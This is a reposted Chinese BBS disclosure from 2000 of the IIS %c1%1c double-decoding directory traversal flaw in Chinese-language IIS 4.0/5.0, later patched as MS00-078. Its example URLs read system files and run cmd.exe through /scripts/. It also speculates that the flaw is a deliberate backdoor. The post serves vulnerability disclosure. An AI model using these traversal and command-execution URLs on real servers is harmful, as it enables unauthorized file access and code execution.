Windows 版 (精华区)

发信人: Sun (大灯泡), 信区: Windows
标  题: 微软,你到底想干什么--iis最新漏洞 (转载)
发信站: 哈工大紫丁香 (2000年10月21日08:44:23 星期六), 站内信件

发信人: CHh5945 (痴痴), 信区: NewSoftware
标  题: 微软,你到底想干什么--iis最新漏洞 (转载)
发信站: BBS 水木清华站 (Fri Oct 20 20:29:21 2000)

【 以下文字转载自 NTTech 讨论区 】
【 原文由 CHh5945 所发表 】
微软,你到底想干什么--iis最新漏洞
2000-10-18· yuange·中联
  分析微软程序一段时间,虽然找到了一堆漏洞,但还是赞叹微软程序接口的规范、

分明的层次结构,又在程序中感受到了数学中那种严密的逻辑思维的美,所以经常留言

灌水的时候我会留下一句“I love microsoft.”
  程序有BUG是很正常的,这也可以得到大家的理解,可BUG之外的一些东西就不能让

人理解了。今天分析到一段程序,破坏了微软给我的这种好印象,真让我搞不懂微软到

底要干什么。还是先让大家看看例子吧,中文简体WIN2000+IIS5.0环境。
  http://192.168.8.48/A.ida/%c1%00.ida
  文件 E:\Inetpub\wwwroot\A.ida\@.ida。 系统找不到指定的路径。
  解释:
  %c1%00解码成了c1 00,这正常。但再一次解码成了(c1-c0)*40+00=40=“@”
  http://192.168.8.48/A.ida/%c1%01.ida
  文件 E:\Inetpub\wwwroot\A.ida\A.ida。 系统找不到指定的路径。
  解释:
  %c1%01解码成了c1 01,这正常。但再一次解码成了(c1-c0)*40+01=41=“A”
  http://192.168.8.48/A.ida/%c1%02.ida
  http://192.168.8.48/A.ida/%c1%02.ida
  文件 E:\Inetpub\wwwroot\A.ida\B.ida。 系统找不到指定的路径。
  http://192.168.8.48/A.ida/%c1%3a.ida
  文件 E:\Inetpub\wwwroot\A.ida\z.ida。 系统找不到指定的路径。
  大家可能还没意思到这能干什么,那看看我们能干什么吧。把计数器e:
\inetpub\
wwwroot\counter.asp拷贝成e:\inetpub\count.asp,也就是到了WEB目录的上级目录,

文件名也改了避免混淆,这时在浏览器里面输入:http://192.168.8.48/..%c1%1ccoun
t.asp,乖乖,计数器界面出来了,也就是说你访问到了WEB目录的上级目录。再结合一
些别的技巧,可以看到虚拟目录所在盘任意文件。这点危害性不用我再多说,懂一点安
全的就知道这是严重的“漏洞”了。打上SP1仍然还有这种编码问题。
  c1 1c,中文简体里面没有这种字,照正常的情况该根据内码转换文件
\winnt\system32\c_936.nls会编码成“?”。大家会SOFT-ICE的可以实验,设置断点 bpx 
CreateFileA拦截文件打开操作,再打开一个文件,断点出来后把文件名最后修改成c1 1c,再设
置断点bpx CreateFileW,g运行出来看看这个c1 1c 解码成了什么?解码成了3f就是“?
”号,这是正常的汉字转换成内码结果。但对中文简体版IIS中c1 1c解码成了(c1-c0)
*40+1c=5c=“\”,作为一个程序员,我真的不能读懂这段程序,虽然自认为长期看别
人程序,能轻易看出编程程序员的思想,但在微软面前我还是只能承认我的水平还不到家

  文件名“%C1”编码问题;
  漏洞说明:
  中文IIS等处理文件名的时候,有个特殊的%c1编码问题,可以编码出任何字母及一

些其它字符,如“\”等,而此编码发生在IIS检测处理路径串中的“..\”之后,所以可
以突破IIS路径访问到上级目录。怀疑此不是漏洞,而是后门。
  此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0
+SP1,好像台湾繁体中文也受此漏洞影响。
  例子:
  http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
  中文winnt+iis4.0+sp6:
  http://192.168.8.48/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt.ini
  可以使用.ida等映射检测此漏洞:
  http://192.168.8.48/%c1%01.ida
  有此漏洞会返回类似“找不到 IDQ 文件 A.ida。”的信息。注意%c1%01已经解码成
了“A”。
  解决办法:
  1、......;
  2、......;
  3、......;(因为牵涉别的漏洞,这几个就不列出来了。)
  4、打微软相应补丁。详见http://www.microsoft.
com/technet/security/bulleti
n/MS00-078.asp
  禁不住要问,微软,你到底想干什么?

--

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.114.208.160]

--
    如果程序员懂得了软件工程,
    那么他就不再是牛,
    更不是妓女了。
知道中国软件业为什么落后吗?
忽视软件工程,中国软件业将永远落后下去...

※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: sunner.hit.edu.cn]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.832毫秒